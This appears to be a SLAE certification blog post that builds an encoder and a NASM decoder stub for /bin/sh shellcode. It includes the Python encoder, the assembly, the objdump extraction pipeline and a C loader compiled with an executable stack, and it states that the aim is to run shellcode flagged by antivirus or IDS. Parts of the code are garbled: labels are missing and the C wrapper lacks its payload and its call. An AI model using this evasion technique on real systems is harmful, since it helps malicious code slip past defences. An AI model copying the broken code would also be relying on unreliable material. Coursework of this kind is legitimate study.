SLAE 0x4 – Custom Encoder

Encoding is the process of converting data from one form to another. Encoding is very different from Encryption. Encoding converts data using an algorithm that can be easily reversed. The purpose of encoding is simply to transform data into another form which can be consumed by another system. On the other hand, Encryption is used to keep the data confidential. An algorithm is used to encrypt data with a key which is kept secret. The same key is then used to decrypt the data. Lastly, encoding or encrypting shellcodes can be really useful in bypassing AV/IDS protection.

Today we will create a custom encoder that generates encoded shellcode using a algorithm. Then we will create a decoder that will reverse the algorithm and then run the shellcode.

Our custom encoder iterates through each byte of the shellcode. We then subtract each byte by 4. Then we perform a NOT operation on each byte. This can be done by performing a XOR operation with 0xff. Then the resulting even index bytes (\xc0\x68\x2f\x68\x2f\x62\x89 and so on ) are XOR’ed with 0xaa.

# Custom Encoder
# Author: buffered4ever
# 15-03-2019

shellcode = (“\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80”)
encoded = “”
encoded2 = “”
encoded3 = “”
count = 1

for x in bytearray(shellcode):

y = x – 4
z = y ^ 0xff
encoded += ‘\\x’
encoded += ‘%02x’ %z
encoded2 += ‘0x’
encoded2 += ‘%02x,’ %z

if count % 2!=0:

encoded3 += ‘0x’
encoded3 += ‘%02x,’ %z


v = z ^ 0xaa
encoded3 += ‘0x’
encoded3 += ‘%02x,’ %v

count +=1

print encoded3
print ‘Len: %d’ % len(bytearray(shellcode))

Lets run the encoder.

ddpinto@ddpinto-VirtualBox:~$ python
Len: 25

So here we have our encoded shellcode which will be fed to our decoder assembly program. We use the JMP-POP-CALL method to find the address of encoded shellcode. For the decoding process, the algorithm is reversed so we first XOR every even byte of the shellcode with 0xaa, then perform NOT operation on each byte, followed by addition of 0x4 to each byte of the shellcode. The XOR operation is performed in decode1 function and the NOT and ADD operation is performed in the decode2 function. Note that 0xaa is appended to the encoded shellcode. This acts like a marker to tell when xor operation in the decode1 function must stop after which it jumps to decode2 function.

; Decoder
; Author: buffered4ever
; 15-03-2019
global _start

section .text


jmp short call_shellcode


pop esi
xor ecx, ecx
xor eax, eax
xor ebx, ebx
mov al, 1
mov cl, 25
lea edi, [esi]


mov bl, byte[esi+eax]
xor bl, 0xaa
jz decode2
mov byte[esi+eax], bl
add al, 2
jmp short decode1


not byte[edi]
add byte[edi], 0x04
inc edi
loop decode2
jmp short EncodedShellcode


call decoder
EncodedShellcode: db 0xd2,0xe9,0xb3,0x31,0x95,0x7e,0x90,0x31,0x9b,0x7e,0xd4,0x0b,0x9a,0xd0,0x20,0x19,0x7a,0x8b,0xb0,0xd0,0x22,0xf9,0xf8,0x9c,0x83,0xaa


So lets first compile and link the program

ddpinto@ddpinto-VirtualBox:~$ ./ decoder
[+] Assembling with NASM …
[+] Linking …
[+] Done! …

Now lets use some cmdfu to generate our shellcode

ddpinto@ddpinto-VirtualBox:~$ objdump -d ./decoder|grep ‘[0-9a-f]:’|grep -v ‘file’|cut -f2 -d:|cut -f1-6 -d’ ‘|tr -s ‘ ‘|tr ‘\t’ ‘ ‘|sed ‘s/ $//g’|sed ‘s/ /\\x/g’|paste -d ” -s |sed ‘s/^/”/’|sed ‘s/$/”/g’

Lets include this shellcode in our C wrapper

#include <stdio.h>
#include <string.h>

unsigned char code[] = \
printf(“Shellcode Length: %d\n”, strlen(code));
int (*ret)() = (int(*)())code;

Now lets compile the C code and run our shellcode.

ddpinto@ddpinto-VirtualBox:~$ gcc -fno-stack-protector -z execstack shellcode_decoder.c -o shellcode_decoder

ddpinto@ddpinto-VirtualBox:~$ ./shellcode_decoder
Shellcode Length: 71

So this is how we can use a custom encoder to encode any existing shellcode thats being flagged by AV/IDS and still run them.

Github: – 0x4

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

Student ID: PA-1932

Leave a comment

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

%d bloggers like this: